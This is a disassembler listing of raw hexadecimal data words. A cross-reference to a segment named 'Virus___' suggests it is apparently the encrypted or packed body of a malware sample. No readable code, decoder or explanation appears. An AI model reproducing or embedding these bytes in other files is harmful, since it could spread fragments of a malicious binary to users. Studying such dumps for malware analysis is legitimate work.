		dd 0D9C7250h, 0B7E49B50h, 6CC398F0h, 0B7C39959h, 0C69EAC32h
		dd 61506359h, 0A7BA7931h, 0B7C392D2h, 7BBE15F0h, 0A7213D15h
		dd 0B7C398D7h, 0B75FFDF0h, 7A2F98F0h, 0B12DA26Fh, 79C35100h
		dd 0C672A5A9h, 0B7C399B8h, 4963F1F0h, 59056A4h,	874A777Dh
		dd 329EC8F2h, 0CC9EF11Eh, 0B7C39965h, 479DF127h, 0E63C1809h
		dd 0CCD5CA51h, 6C5A0F2Ah, 0B7C3981Fh, 16EAC6F6h, 0A1F1DBFh
		dd 40E476A7h, 5BCC39D8h, 0D2DB8D35h, 0B479E0C9h, 59AF98F0h
		dd 0C40718C7h, 4394C3AEh, 0E04DCB4Dh, 0D62FF5AAh, 0B19897D0h
		dd 6FC3992Fh, 0B7C39952h, 974B449Ah, 0D822F3A2h, 426CCC40h
		dd 0A73BACCFh, 41C398F0h, 0B41D27C3h, 8971D13Ah, 6358989h
		dd 0D5796A08h, 6C14C4D2h, 0B7C39860h, 39999EAAh, 0F772F1BDh
		dd 5AB75DE1h, 602859CAh, 0D7A6307Bh, 6B75FF51h,	0B7C068B9h
		dd 0E03CF8F0h, 35A356E3h, 0B8B1DA1Bh, 0F757166h, 649C75D7h
		dd 0D3905426h, 0B7C3981Bh, 0B7C068B8h, 82CB65F0h, 0EFDC6903h
		dd 2D7D5501h, 3D294AACh, 5B0218C0h, 0C1E3AB89h,	7C9D666Ah
		dd 0B7C380B8h, 1F1CC4F0h, 0A5DCDADEh, 0D7337830h, 0B7C063B7h
		dd 0F4E719F0h, 49B4A3B8h, 9C1AFE05h, 74893A5h, 8F393443h
		dd 712C7945h, 0B7C3981Fh, 9CA0544Dh, 4BFF19B4h,	774952F1h
		dd 0BEDCC36h, 44D63E8h,	6A9EF160h, 0D15B0F3Bh, 9A101BBEh
		dd 0B7C065E5h, 0B785FDF0h, 7F9198F0h, 0CEF7AB9Bh, 0EFC3D1ACh
		dd 778E7EBBh, 0D3B82823h, 0B466E0C6h, 4BD398F0h, 2208309Fh
		dd 0F3B1955h, 0D7287503h, 0B4620F62h, 6A9098F0h, 9A1E7967h
		dd 6C80DC83h, 0B7C3992Ch, 0E374453Fh, 81A4C4DEh, 9861D2AEh
		dd 0B7C391B9h, 0F436CFF0h, 0D62D77CEh, 0CBC518B0h, 0B7C399B8h
		dd 9C39B5F0h, 0ED7D9552h, 0B385F204h, 493861D0h, 17C398F0h
		dd 0AD4DC623h, 50904021h, 670357CCh, 0D4A5A387h, 0DF4B7301h
		dd 562D9EFCh, 56C398F0h, 0DB59A394h, 8391B6A2h,	0F9CB071h
		dd 0CB44C971h, 76B821A9h, 493B622Ah, 0DFC398F0h, 5A4339AAh
		dd 0E7C7F4E4h, 0E8293DF8h, 0F71F1F8h, 0B467FE19h, 0A49B98F0h
		dd 0A44F9538h, 0F6190701h, 8CE1F0E1h, 53B3B8B8h, 5A8018DEh
		dd 22269C61h, 1D13EFEDh, 1D10AD9Ah, 0DE1FBC3h, 0E362FFE1h
		dd 20227658h, 0DE1E95Bh, 23BEFFE1h, 6DE1F0E1h, 20291041h
		dd 0DE1FAC8h, 0DBAFFE1h, 6EE1F0E1h, 0B9247140h,	20297402h
		dd 0CA68BE9Ah, 6E38EBA2h, 1168ABCFh, 83AB631Eh,	0E66B0079h
		dd 6D216041h, 0FA1A7140h, 6E8C73FFh, 23BDF341h,	6BE1F0E1h
		dd 4C197108h, 0DE1F4A6h, 953C59E1h, 24F2DB1Fh, 46019678h
		dd 0DFB81A90h, 58023E61h, 0A9048F61h, 0D6A11124h, 0DE1F13Dh
		dd 92167EF7h, 84EBE675h, 9FE0D0C9h, 1D981159h, 0DE1EECFh
		dd 8E9366E1h, 617A4309h, 22B9F358h, 57E1F0E1h, 92CC9161h
		dd 0E3A88ABh, 93CDF0E1h, 92A82CE0h, 702C0238h, 8A1BECFFh
		dd 0E3A963Eh, 3947F0E1h, 9FE38D3Bh, 6DC547E6h, 0E43894Eh
		dd 0D5C5F0E1h, 0E0A87C30h, 1D0866DDh, 78A2AE92h, 28828361h
		dd 208D6740h, 0DE1F4BDh, 0F73CFFE1h, 20E1F0E1h,	0DE1F0CFh
		dd 0CF8573E1h, 2D8AC1DBh, 0DE1E6A9h, 1892CBE1h,	0CEAB8183h
		dd 78AB1B4Dh, 1D1AAECFh, 58E1F0E1h, 50D2A834h, 3100255h
		dd 6A85891Fh, 6E4D6F68h, 2032671Eh, 0DE1F15Bh, 88B21DE1h
		dd 0CD9B1E77h, 0E261D356h, 0F86319DCh, 6D8DA42Bh, 1D191EE5h
		dd 86E1F0E1h, 3B13A410h, 2DAE2C7Fh, 0E4D89ADEh,	0A5F9B420h
		dd 53962651h, 19366CC3h, 2089673Bh, 926EB892h, 20E51B1Ch
		dd 0CCA5B59Ah, 69A56FD4h, 0F9C0386Ch, 0ABBE0253h, 0DE20BA8h
		dd 7919D5E1h, 0A0B2E5F3h, 4A4B16F7h, 0C0E0A64h,	0CCF6CC70h
		dd 0E437C6Ah, 78C1F0E1h, 0A5154334h, 6D3C1DBBh,	0D63E2539h
		dd 80631118h, 0E7A02B64h, 0C1219B36h, 0B462F30Ah, 0DE1F5A8h
		dd 0D03F71E1h, 0A7FBE39Ch, 7C14648Fh, 0FCA68361h, 0D17B4DA3h
		dd 0E40696Ah, 0D861F0E1h, 5732760Ch, 0D6A2CB34h, 0DE1F00Eh
		dd 0D925D67Fh, 9B46671Bh, 0C021F634h, 1C395C40h, 0A57F5DF5h
		dd 54730262h, 2085671Fh, 0DE1FCC8h, 206E1AE1h, 0A3ABE638h
		dd 0D699572Bh, 0DE1F148h, 0BA95C095h, 22E5B6B5h, 0D5B81A91h
		dd 580A9D7Bh, 83DF9661h, 6BD7140h, 53A357F6h, 0E3AFE6FAh
		dd 0E40806Ah, 0D761F0E1h
		dd 0E3F95A0h, 3A33F0E1h, 61C6F4AFh, 1813BF11h, 6A7F8B7Ah
		dd 519066B2h, 78A04E6Ch, 46CFCC61h, 48A40336h, 0A39B110Ch
		dd 57942A02h, 6D945138h, 6C9566B0h, 0E468941h, 84ACF0E1h
		dd 58300375h, 0B17F9F61h, 0DE1E6A8h, 523EFAE1h,	795C744h
		dd 57DC1E03h, 577E83FFh, 986CC0CFh, 690B5580h, 23B80043h
		dd 6BE1F0E1h, 0A39A4C6Ah, 6FE9A6A3h, 0DBA59AC4h, 0FDB85D7Fh
		dd 4C7B9E60h, 3362C82Ah, 889DBF88h, 0B59B7DE4h,	1DA1EA06h
		dd 0DE1F0BDh, 0B56AFFE1h, 206D9B61h, 0DE1EF61h,	6C3B73E1h
		dd 25D0A2D8h, 0CBC026E1h, 6260A24Dh, 0F7BD9740h, 2491BE60h
		dd 0CCAB3CAFh, 0B4AFE057h, 473BB06Ah, 0DE20DA6h, 0AB70CCE1h
		dd 0C15E04D5h, 81B31675h, 9B53C000h, 1F6A11BFh,	0CBA03858h
		dd 0DE1F13Ch, 0CF36EDEDh, 0A0494B7h, 2EFC79CCh,	0E4395A7h
		dd 34D1F0E1h, 0E322BC2Eh, 0CBA250A3h, 0DE1F071h, 935F36B3h
		dd 688BDC8h, 4B26B965h,	7ED60C57h, 0BCE0B139h, 0E3F88EEh
		dd 9EB1F0E1h, 705D69B7h, 337340AAh, 6F71D778h, 40CEC810h
		dd 0F4182FD5h, 0FBE1F0E1h, 0BCC769FDh, 0BF5C9B85h, 6ACC4CE6h
		dd 8DA9FA8Ah, 69108C36h, 2D7C0378h, 71FC7E76h, 0CAFF20C7h
		dd 0DE1F16Ah, 6AEDCDCh,	586F25B3h, 5F202B25h, 20AF5142h
		dd 0DE1FF5Bh, 0E3E95E1h, 0E417F0E1h, 0BB5C9BD6h, 9209215Eh
		dd 340E0ED8h, 70946740h, 0D6306740h, 0DE1F146h,	0A91F7BBAh
		dd 0C3AB596Ah, 0BE4A6C19h, 758A70C1h, 0F2E3583Bh, 0CDC292CFh
		dd 5CA5C290h, 0A3AB23E5h, 1D14B303h, 0DE1EEA2h,	20216CE1h
		dd 221AB392h, 25E1F0E1h, 0C90E2629h, 0D68D586Ah, 0DE1F00Eh
		dd 32FC6603h, 0BA0D49C6h, 116EEF96h, 707C3A07h,	0D56BC018h
		dd 0DE1F146h, 93805498h, 0AFD740A3h, 0DC26C215h, 9A2FCBCEh
		dd 0F98C7056h, 0BA69ABCFh, 1DA1572Ah, 0DE1EEF5h, 0CF8E66E1h
		dd 0F308BA0Bh, 0D0BC98C6h, 3F6F1AA0h, 48346714h, 57826756h
		dd 0D0BCA8CFh, 1736A2D8h, 98B2EEB0h, 0DE1F122h,	21516B41h
		dd 0D6A2AB9Ah, 0DE1F148h, 0E66B2DA9h, 0DD53314h, 5E32707Ah
		dd 22BDF358h, 0D0E1F0E1h, 6C7F94D9h, 0D6926740h, 0DE1F070h
		dd 5583F003h, 0EBD2DC36h, 0E835D28Eh, 0D290EF48h, 1E32FFA2h
		dd 0D5E1F0E1h, 0DE1F14Fh, 6A2A61F0h, 675462DBh,	7B283970h
		dd 65A5F436h, 243CFFDBh, 57E1F0E1h, 0A3A58FCFh,	2146C49Bh
		dd 0DE1F9C7h, 12E2A3E1h, 0A7C139DDh, 0E3A8948h,	0CD6AF0E1h
		dd 616A18BCh, 1DAC46A5h, 830DAE92h, 0E427E73h, 5728F0E1h
		dd 84518861h, 5C3B7140h, 0C7B81A8Bh, 0EF61DFF6h, 0F7BB0011h
		dd 8EE1F0E1h, 23ABFB4Bh, 21396BF9h, 0DE1F560h, 0F7C0FFE1h
		dd 20E1F0E1h, 0DE1F0C7h, 0EF257DE1h, 57F84D67h,	0A30E4F36h
		dd 1715F903h, 928270B5h, 0A5ECD41Bh, 0EC398267h, 0DE1F5A9h
		dd 36306BE1h, 618B5853h, 0EEC28F0Ah, 4F051907h,	0D0B13F58h
		dd 6AB138D7h, 0DE1F13Ch, 8072BDC6h, 0E46891Eh, 0B7BBF0E1h
		dd 0D6A143A5h, 0DE1F149h, 85E4557Fh, 0DDB94DEAh, 0A3980678h
		dd 98DBEB0Fh, 22C3F2AEh, 57E1F0E1h, 7047BF61h, 57855873h
		dd 98E59B61h, 3443A33Bh, 58109FBEh, 9AB99C61h, 9C79593Bh
		dd 0E55726Ah, 1E18F0E1h, 5CE1F0E1h, 652A0587h, 0DE7DEA01h
		dd 0BD6FE17Ah, 2A46581Fh, 0CF2A82CFh, 82E86C5Ah, 0DE1F3A6h
		dd 35E0FEE1h, 2A8C5809h, 0B99C6AC5h, 0E467A6Ah,	415FF0E1h
		dd 799B0E2Ch, 0DA7891Eh, 6E2CF0E1h, 0C96618E4h,	7D1F08A1h
		dd 0F41A1779h, 89E1F0E1h, 3C71DDCFh, 0DD87E696h, 0E6747F45h
		dd 0C84B09C2h, 0C6B81B24h, 799E6187h, 75B2111Fh, 0DE1F013h
		dd 0E3F8841h, 7B66F0E1h, 6F12853Eh, 0B72B77Dh, 143E7523h
		dd 6F117E14h, 6E0C822Eh, 0D99B1141h, 0F31A565Eh, 8CE1F0E1h
		dd 31F78321h, 0B75EEB80h, 0B0794CAh, 81C49B68h,	0EAFF389h
		dd 19E1F0E1h, 0EC3F341h, 0E5E1F0E1h, 8F23713Bh,	699B1DC9h
		dd 0F51A990Bh, 9AE1F0E1h, 6E4CCC6Eh, 0D0C4A6D5h, 558B79CBh
		dd 706F1A57h, 0D52C38DBh, 0DE1F148h, 0A2BF187Fh, 0D88F52h
		dd 8EB140F6h, 0DE1F0E1h, 0D0B13859h, 0DBC8950h,	767BF0E1h
		dd 898F0255h, 26F4469Bh, 0F1751D4Dh, 6F765F22h,	0E527473h
		dd 6AB2F0E1h, 0DE1F14Fh, 0DE1F9A9h, 0D5C540E1h,	1D0A55BBh
		dd 0DE1FBCFh, 0BB9270E1h, 42C41538h, 0AB614DEAh, 79076529h
		dd 0A3AB8FCFh, 0D6AFC3D8h, 6F5B6BECh, 86F9A240h, 0C2897140h
		dd 0E3F95BDh, 0FF41F0E1h, 7075017Ah, 9157BE9Dh,	736EB81Ch
		dd 0FC124F7Ah, 0A3A5A6E4h, 0D69955D8h, 0DE1F045h, 0E2B71287h
		dd 57501A51h, 8BA33864h, 0EA44B8B3h, 9D89968Fh,	0DC3F341h
		dd 9CE1F0E1h, 58021E3Ah, 0D525BF34h, 0DE1F122h,	0CE867CB1h
		dd 45AE365Ah, 8BE6A240h, 202901BAh, 0DE1F0C6h, 0C6FC70E1h
		dd 0BDAFB361h, 5C631A17h, 0CBBD7E22h, 20D858F9h, 6BBC9092h
		dd 0DE1F017h, 0DE1F2A8h, 5592F6E1h, 0A0081FD6h,	6C080157h
		dd 8EBC59DBh, 0C1A79BD9h, 22C3F365h, 0A6E1F0E1h, 50248DE8h
		dd 0A0B14B25h, 0DE1F13Eh, 6C8A586Ah, 0E456773h,	0E3C0F0E1h
		dd 65DF7E41h, 263B7140h, 30787E2Eh, 0BDD83563h,	0F6AF300h
		dd 0F41837E4h, 88E1F0E1h, 75AE62EFh, 0B591EE74h, 7815E560h
		dd 3900E93Fh, 0F51A9587h, 0A0E1F0E1h, 9709CE8Bh, 7B27FEAAh
		dd 578C5873h, 9C821234h, 0DB9B1109h, 0CB1BD443h, 0DE1F143h
		dd 0E5887h, 0E150E668h,	7EC4966Ch, 831388E4h, 8E9B6740h
		dd 0CC4357D6h, 0E388955h, 0F36AF0E1h, 0C26EC5D9h, 97A6ACA6h
		dd 0E7621A84h, 0D690743Dh, 0DE1F143h, 299FE7ACh, 170DA971h
		dd 5826FF28h, 0F61AAD0Bh, 0A6E1F0E1h, 151FA0FCh, 3A305AFBh
		dd 2618A161h, 88B2216Eh, 0E3E8979h, 0E0C5F0E1h,	0C685DE0Bh
		dd 13BD9697h, 2060DDCDh, 0DE1EF5Bh, 6FFF4DE1h, 0E6815873h
		dd 0DE20BA8h, 0E6A80E1h, 0FEF0EC90h, 0D6E35A13h, 0EBAE9E35h
		dd 33853D69h, 0A5315873h, 70AB8B3Ch, 0DE20DA9h,	429CCAE1h
		dd 76872972h, 0AD718D00h, 29FB1807h, 1D11697Bh,	0DE1FE5Bh
		dd 1D09A9E1h, 0DE1C4C9h, 0E4688E1h, 0E75F0E1h, 0D6CD90BBh
		dd 0DE1F13Dh, 4DADDF64h, 1557BAC0h, 99E5A813h, 19896759h
		dd 0DE20DA8h, 0BE2B30E1h, 0CE569A4Dh, 0E2AD9F36h, 0C3FB81EDh
		dd 1D10FF25h, 0DE1F960h, 0E5095E1h, 0CF81F0E1h,	12FDA120h
		dd 10AFA98Dh, 822CEBD5h, 0ED440A42h, 0F410067Dh, 42E1F0E1h
		dd 5826FF28h, 162AD0Bh,	57E05E5Ch, 824C0FEAh, 0D0B2F99Bh
		dd 0FA691B50h, 0E6BE1AD7h, 0D0BCA7C6h, 0E5188FEh, 5313F0E1h
		dd 0BE006107h, 0FF819DFEh, 0BF959381h, 3867DF04h, 0EBBEF358h
		dd 6DE1F0E1h, 0C61BB861h, 7007F37Dh, 6D796741h,	0DE1E6A9h
		dd 0DE8D6FE1h, 0BF041AB8h, 6E8D7791h, 0DE200A9h, 0C58F3FE1h
		dd 30F8B3D1h, 0DC9DEAABh, 0EABB8B19h, 0F8B81AEBh, 0CDA54244h
		dd 0CCABFF54h, 0E4C2834Eh, 244CE923h, 0EC5F341h, 0D2E1F0E1h
		dd 0F035713Bh, 203C10D1h, 0DE1E6C7h, 88B210E1h,	0FFB81AD8h
		dd 1DA0D1A0h, 0DE1FDA2h, 69ABE5E1h, 0E3E9607h, 0D79DF0E1h
		dd 0E2910953h, 82A1F6E3h, 0A54F88A1h, 6713629Eh, 0A47C5E34h
		dd 88897628h, 0F4C3F30Dh, 8DE1F0E1h, 0AE6DB49Ch, 8F433827h
		dd 0E661A951h, 57886AE7h, 0E517AECFh, 0F48B713Bh, 3E2A2EAh
		dd 69B2226Ah, 0DE1F13Eh, 0E76B0024h, 1B46973Bh,	27FC716Dh
		dd 0A6A5B3CFh, 69B2F451h, 0DE1F148h, 0DE1F5A8h,	7A4307E1h
		dd 8A200555h, 58149B15h
		dd 14998761h, 0F062F356h, 0C8C101B2h, 0DC236CBBh, 5DDFE08Fh
		dd 28796740h, 70A28FBEh, 10603F34h, 0A39B1057h,	6EAFD732h
		dd 0FD62F31Bh, 0B5B81A58h, 0A3A552F7h, 0D6B9714Bh, 0DE1F13Dh
		dd 0BCF2E094h, 4B227728h, 392D44CEh, 6D3B5873h,	6E856740h
		dd 0FD8C9161h, 0DBABDC87h, 6D17A633h, 54079061h, 6E1F4C7Ch
		dd 0E407473h, 88B2F0E1h, 50BD7E3Fh, 8EF62F85h, 63B0D4D9h
		dd 0E6B89900h, 0E43736Ah, 74B2F0E1h, 0DE1F147h,	6C2CCBC6h
		dd 0FBBE1AFCh, 0E407B6Ah, 0D0B2F0E1h, 22C0FFD3h, 57E1F0E1h
		dd 50298961h, 202AB073h, 0DE1F8C9h, 0E5095E1h, 0BA76F0E1h
		dd 5C8FCBAh, 2A10C26Dh,	809F82E6h, 224575Ah, 0E438982h
		dd 3DE7F0E1h, 0DD45ACD0h, 0D914B267h, 0F3D42318h, 0E5188BAh
		dd 777BF0E1h, 0ADD7A365h, 38A5651Dh, 3FB0C2Ch, 0C0474A59h
		dd 0E467C6Ah, 7469F0E1h, 0CAEFF0D2h, 0DE1F045h,	43244026h
		dd 8A2B86B1h, 8983D714h, 29DE2E9Fh, 45B214A4h, 0E3A88B1h
		dd 0F401F0E1h, 7C66F56h, 70A2E1CCh, 0DE1F4A9h, 0AA4775E1h
		dd 0BC283BE2h, 0D03DF8C8h, 1B016A44h, 6EA105B2h, 8E82B073h
		dd 0E3CA7A2Bh, 98B21127h, 0DE1F0DBh, 37379360h,	8EA26FA9h
		dd 701B2405h, 8C15840h,	0E407473h, 88B2F0E1h, 0A07AAFD3h
		dd 6AB2FA83h, 0DE1F175h, 2F34713Bh, 0D0B21012h,	9CA0E5D7h
		dd 0E509634h, 3B36F0E1h, 0F65D78D9h, 68048AA4h,	1DB1293Ch
		dd 0C781FAC9h, 0D3BE19B9h, 0E2F766Ah, 0CCABF0E1h, 0ABB72DB5h
		dd 38C008A5h, 1294A640h, 0F732F34Ch, 20E1F0E1h,	0DE1F0BCh
		dd 0F80F38E1h, 0A7E1F0E1h, 100D4FF3h, 0D0B1CA23h, 3B81ACEh
		dd 580B0144h, 70A21939h, 5D326740h, 0CB13ADCFh,	0DE1F045h
		dd 0BFBC7EEAh, 4800C19Dh, 1EC63F16h, 4FF2E3E7h,	0B4FE30EBh
		dd 0A39AB8C6h, 57E805A3h, 0A3A585CFh, 20500BA8h, 0DBABF092h
		dd 0D0B23578h, 0FEB81B6Eh, 0C8CB6016h, 276E19AAh, 0DA795D8h
		dd 5361F0E1h, 8CA3B730h, 0BCCE5AD0h, 98BC7502h,	0DE1F13Eh
		dd 6D31B06Ah, 0DE1F9A6h, 22ECADE1h, 1A09D538h, 0FDBE1A40h
		dd 208C673Bh, 0DE200C3h, 0E3895E1h, 0B9B9F0E1h,	0F3C4018Bh
		dd 5BA31DC8h, 0D7D9660h, 3BB6F0E1h, 243D5A0Ah, 9DBE8911h
		dd 72F364D3h, 6D92B073h, 4B055840h, 0E52891Bh, 4220F0E1h
		dd 5B906DEBh, 59CD563Dh, 0E6178C71h, 7B864323h,	3B81A41h
		dd 88B2DF86h, 23BE000Fh, 6BE1F0E1h, 0E3E95D8h, 6416F0E1h
		dd 0F2083E4h, 0BA6DE118h, 57BD6B27h, 0DB119ECFh, 3EB582B5h
		dd 0F1C3F31Fh, 0D5E1F0E1h, 0DE1F13Dh, 0FD74BCE2h, 1EE58B13h
		dd 9682EBD3h, 580F1141h, 0E658F536h, 99A5FC38h,	0EFB81A26h
		dd 57339EBCh, 0A9D09161h, 0DE1FAA8h, 0CE829FE1h, 5EC62D5Eh
		dd 452A6740h, 2085B073h, 0CCAB8F9Ah, 5E6F9B2Dh,	2FBAF341h
		dd 20E1F13Eh, 0DE1F8BCh, 0E5095E1h, 10A9F0E1h, 1B0B26A1h
		dd 0EB3F2FA1h, 6C4486C8h, 54252FC4h, 437A7054h,	4C8FC161h
		dd 0F61828D1h, 0ABE1F0E1h, 6644C9F1h, 6723AC92h, 0D5316740h
		dd 0DE1F14Fh, 0CCE1F315h, 1D74C7B7h, 0D2C10402h
		db 4Ah,	38h
word_5B1E8E	dw 0A39Ah		; DATA XREF: Virus___:0056D896r
		dd 8D332FD2h, 0D60ACCD9h, 0DE1F16Ah, 67640F4Ah,	797CFC86h
		dd 0EC9A38DCh, 5785C615h, 463EA936h, 0CB160FC3h, 0DE1F071h
		dd 28D816BBh, 0CA589F65h, 75FD8A3Bh, 678AC04h, 502B6FBAh
		dd 5EB86141h, 4560ADBEh, 578BB073h, 69ABBFCFh, 0D8BE1ACEh
		dd 8E8C6740h, 3FF11C1h,	69B2E646h, 0DE1F175h, 0AEBAB636h
		dd 88BC98B0h, 0F0B81AA0h, 88BC8F37h, 209B7451h,	0DE1D65Bh
		dd 0F11910E1h, 40E1F0E1h, 19624509h, 50EF6CA5h,	0CC34D4B4h
		dd 96F91555h, 46482E1Fh, 0DE1E8A9h, 48746DE1h, 0EBE9636Eh
		dd 0F7101191h, 0A5E1F0E1h, 9F129567h, 88B2105Ah, 0D09B1E08h
		dd 30755088h, 0D0BE5538h, 0E0B819EFh, 88B2ECA5h, 7FEDB02Ah
		dd 496F1D63h, 8E3F92CCh, 0CB14AFD4h, 0DE1F00Eh,	20E1CEB6h
		dd 0BA85DA5Dh, 65BF623Fh, 0BA9B0E82h, 7B8E0802h, 0C043BF61h
		dd 0FBBEEE00h, 0EF3CA23Bh, 1D1A9BE4h, 6AE1F0E1h, 798A5A21h
		dd 7AE03E48h, 0DDEFDECDh, 1B0D2EADh, 1D0F4041h,	0CCE1F0E1h
		dd 57FFEE6Ah, 0F3BB6DB5h, 863D0BC1h, 4655370Eh,	6E97CBCFh
		dd 7A187140h, 1D0A117Fh, 5808AD9Ah, 0D5831F34h,	0DE1F13Dh
		dd 0A7C529ABh, 5008E76Ch, 53C2D9C9h, 0EA191076h, 0C9E1F0E1h
		dd 1520BA82h, 368D5B0Ah, 5A7773DAh, 399470B0h, 6D46908Ah
		dd 0D59C7659h, 0DE1F143h, 0DF8E7E46h, 9E339D13h, 1791AFAFh
		dd 0EA1A7FC0h, 86E1F0E1h, 671AFD65h, 0C41AAD9Ch, 947786CDh
		dd 216F1A56h, 0E6BE1AF1h, 0E45746Ah, 0D7C0F0E1h, 99970DD4h
		dd 0DE1E7A9h, 393B05E1h, 505C92AFh, 0E407373h, 69ABF0E1h
		dd 1DA10476h, 0DE1EF5Bh, 0D69810E1h, 0DE1F174h,	8533185Fh
		dd 1D98033Dh, 0DE1FCC6h, 0E26F1AE1h, 0C762F35Ah, 0D0BCA7C6h
		dd 0E4B73F03h, 1DFD982Ah, 0EB9F359h, 0E5E1F0E1h, 0B38A713Bh
		dd 8D621B30h, 28FC762Fh, 0CC8D5940h, 6E200FBAh,	0E417473h
		dd 0FF70F0E1h, 0D7D8941h, 0F0E4F0E1h, 8E486026h, 0C7125BFBh
		dd 644EE686h, 0E427E73h, 6E2DF0E1h, 9CFC6740h, 0E448950h
		dd 0B5B9F0E1h, 30080FC8h, 0F41840E0h, 21E1F0E1h, 457C9C16h
		dd 334A25EDh, 2DC824DEh, 0B6E8F431h, 6D0A940Bh,	86B581Fh
		dd 201917A5h, 0FCE1F0E1h, 0BDB14CCEh, 3491761Ah, 77865994h
		dd 0E4B81C88h, 7D422E8Dh, 0D6317154h, 698FD128h, 1D183F31h
		dd 0EFE1F0E1h, 3ECD5C64h, 25ABD47Fh, 0B3D2515h,	1D1650ABh
		dd 0DE1F0C9h, 6908F6E1h, 0FD6F1AD8h, 0C8BD4AA3h, 0D57A70BAh
		dd 212FE8AFh, 0DE1FDBDh, 78C1E4E1h, 8DF60C39h, 0CBA2A29Fh
		dd 0DE1F16Ah, 0B80C67BAh, 0EEF7AB66h, 1C82636h,	57EEFAD4h
		dd 0ECE5AC61h, 0CAEA7738h, 5871E3DCh, 7BB93834h, 0FB887140h
		dd 0EBAFFA9h, 0E6E1F0E1h, 8220BE60h, 69C13DBEh,	6E4F6E43h
		dd 460D3F1Bh, 0DE20BA9h, 0F8AE94E1h, 44103945h,	90D14FF5h
		dd 30C17604h, 0F0A9476h, 0C8809741h, 0A3ABDA15h, 6EDA78A8h
		dd 0DB9F31Bh, 45E1F0E1h, 8885B073h, 21B90046h, 5EE1F0E1h
		dd 1D023857h, 0FECBB492h, 6E395E9Fh, 0DE1FEA6h,	0E0EE5AE1h
		dd 0EA8DE508h, 5E71D866h, 0E2A34657h, 0D569098Bh, 0DE1F070h
		dd 0EF830E9Fh, 575DE627h, 30E19F7Bh, 4A669556h,	0CB0EF6E3h
		dd 0DE1F149h, 0FB89F1BEh, 0FD5F3BBh, 20946740h,	0DE1FBC3h
		dd 0D362FFE1h, 0A316E3C6h, 54AE6903h, 0FFBE37E8h, 0DE1FFA9h
		dd 0D11680E1h, 0C3D1A886h, 138FA043h, 0CD8365E1h, 68FB8936h
		dd 699A3885h, 497FB078h, 0A1B14BE2h, 0DE1F147h,	0CDA5A9CFh
		dd 0EA1A5F25h, 0FE1F0E1h, 49BB7401h, 0B2359F07h, 69F1780Fh
		dd 0F50F384Ch, 0E5E1F0E1h, 4989427Ah, 8E618943h, 0D8924C08h
		dd 208066AAh, 0DE1F161h, 0DA795E1h, 0FE07F0E1h,	26478A5Eh
		dd 9C50E795h, 546D7FCFh, 584CF166h, 584CDDA3h, 545C8361h
		dd 0DA7896Ah, 0E1BEF0E1h, 0BDD0E1E6h, 3EF724A0h, 0E92344FDh
		dd 0A6E1F0E1h, 0BB86FF83h, 1344FEB9h, 1DAAE219h, 0DE1F160h
		dd 330202E1h, 1D0DA0CFh, 0F9CBAC92h, 0E3887ACh,	283AF0E1h
		dd 0CB979D54h, 43B889E1h, 453675F8h, 0A524B4BEh, 42329D3Bh
		dd 871C3839h, 0ABBF1019h, 5E0583Bh, 18621A40h, 0B362F315h
		dd 7BBD7657h, 0DE1F1A9h, 8CC5CDE1h, 0ECBED503h,	4A907EA6h
		dd 0D0B2FF3Dh, 88217E50h, 2142B27Fh, 0DE1F3BDh,	0E4595E1h
		dd 55A3F0E1h, 73207FE6h, 77A7140h, 0E56B0093h, 9608AF33h
		dd 0D6896713h, 0DE1F13Dh, 0D9EB4D50h, 0F3880990h, 50809A27h
		dd 0E46966Ah, 8C40F0E1h, 0D65CA7A9h, 0DE1F149h,	491C5F6Fh
		dd 0AC0B1EDEh, 4585CB61h, 0ED797140h, 2848A1A5h, 8EB23DD1h
		dd 0DE1F172h, 0DBC8857h, 7DB9F0E1h, 9930E2FBh, 7D5C1EA4h
		dd 0D7B7DA90h, 8E020F9Eh, 0CBAB67CCh, 0DE1F017h, 67AD79D6h
		dd 1143495Dh, 13983559h, 0CD9FA2CDh, 6E28E6EDh,	0CCABE2CFh
		dd 0D26127DDh, 0C5BE1AE1h, 0DE1E7A8h, 0EB13F9E1h, 0AED4C006h
		dd 573BB06Ah, 0D0C1E3CFh, 12902EF7h, 0A39B1E76h, 202D9D0Fh
		dd 0DE1EEBEh, 579573E1h, 586F9E36h, 6E50E3A3h, 562B581Eh
		dd 956211A4h, 6EF4A781h, 3D075940h, 596E1A41h, 8E376BCAh
		dd 9CBC89C0h, 0DE1F174h, 0C4DD713Bh, 0D462F2B6h, 0E42676Ah
		dd 0D634F0E1h, 0DE1F122h, 20E8A780h, 209D7410h,	0DE1FBF4h
		dd 0FEBE1AE1h, 788713Bh
		db 5Fh,	7Eh, 84h
dword_5B243B	dd 0E71F3270h			db 57h
		dd 695D9839h, 0DBF000Bh, 6BE1F0E1h, 699B10D5h, 22AFFFFCh
		dd 57E1F0E1h, 0A6DF8761h, 0F4CBF340h, 57E1F0E1h, 0FCC2ADCFh
		dd 54B2A6E9h, 55E7B36h,	0E528677Dh, 8E95673Bh, 9ED6CCEh
		dd 0DF62F321h, 0E54736Ah, 0F318F0E1h, 95E1F0E1h, 74AD67F9h
		dd 0D8B74A03h, 8EFA0A73h, 1B68056Fh, 0DFBE1A18h, 0DE20DA9h
		dd 0D33EF1E1h, 5476DBF8h, 0AD5A01BFh, 44A2B980h, 256F2141h
		dd 7BED5736h, 0DE1FAA9h, 8FDAF6E1h, 6D1A65F1h, 0DE20DA6h
		dd 7CCB6AE1h, 0A18D4937h, 2C5557B4h, 0A23F7BCAh, 0A3BCAF46h
		dd 0DE1F0E1h, 2061F31Fh, 0D6E1F0E1h, 0DE1F14Fh,	27DF325Ah
		dd 0AA1AFF02h, 0A6A03153h, 9A203983h, 0A3B26C41h, 0AD9722A7h
		dd 9D691188h, 58479BC0h, 0AB7BAC61h, 0E4AB8239h, 0F83CF38Bh
		dd 20E1F0E1h, 0DE1FE5Bh, 0A0B2E5E1h, 0DE1F13Eh,	8E8A673Bh
		dd 8B6A7C32h, 0CEBE1A1Bh, 0DBC696Ah, 0EB18F0E1h, 27E1F0E1h
		dd 48B81A96h, 41652723h, 0F0BD3FAAh, 22C3F356h,	0D0E1F0E1h
		dd 8098E001h, 0B8A711Eh, 6C42CA65h, 0D6111D9Ch,	0DE1F070h
		dd 5015B003h, 1B09C3A6h, 71D24617h, 87D471EAh, 0E43893Dh
		dd 5A47F0E1h, 0E161F5F5h, 7C0E3FC3h, 0DA621A56h, 2B6F1A9Ch
		dd 0A39B10C4h, 209031AFh, 0DE1FDCFh, 1DA0E4E1h,	0DE1F160h
		dd 1B62FFE1h, 0DE20DA8h, 0B1C9FFE1h, 9ED8857Dh,	2B1A35D6h
